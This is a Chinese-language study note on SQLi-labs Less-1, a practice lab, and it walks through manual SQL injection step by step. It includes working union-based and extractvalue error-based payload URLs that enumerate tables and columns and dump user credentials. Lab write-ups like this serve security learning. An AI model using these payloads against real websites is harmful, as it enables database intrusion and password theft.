搭建环境
phpstudy
配置密码
最好在页面加上
查看你输入的sql语句
后期可以不用
探测注入点
http://192.168.154.131/sqli/Less-1/?id=1
这个页面是正常的
加上单引号
后面的语句需要闭合,但我可以直接注释,使用--
这个注释前后都需要空格
探测当前表有几个字段
使用order by num
,当 num <= 字段数时,页面正常显示,否则报错
order by num
可以直接跟在 where 判断结束后面
说明这个表有3个字段
探测回显
使用联合查询union
select 1,2,3
会在对应的字段下追加一条记录1,2,3
本来查询结果是一行的,我们想看的是第二行
所以我们要使用limit 1,1
从2行开始显示1行
探测数据库信息
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,version(),database() limit 1,1--
version()
查看版本database()
查看数据库
查询表
mysql自带的数据库有个 information_schema
这里存放的是数据库的信息
information_schema
里面有个tables
表,里面存放了那个数据库有哪些表
下图显示security数据库有哪些表
构造语句
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() limit 1,1--
group_concat()是数据库的函数,用来拼接查询出来的结果集,
这里查出有很多个表,如果一个个显示的话比较繁琐,使用函数,把他们拼接在一起
查询字段
同样使用information_schema
里面的信息
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' limit 1,1--
查询数据
这里就不需要使用information_schema
了
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(username),group_concat(password) from users limit 1,1--
基本流程忘了
还可以使用报错注入
concat
拼接字符串
extractvalue
对XML文档进行查询的函数,第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
http://192.168.154.131/sqli/Less-1/?id=1' and 1=extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())))--
后面的步骤参照前面的
group_concat()有字数限制,查询可以分多次查
部分笔记
完整笔记等通关放出来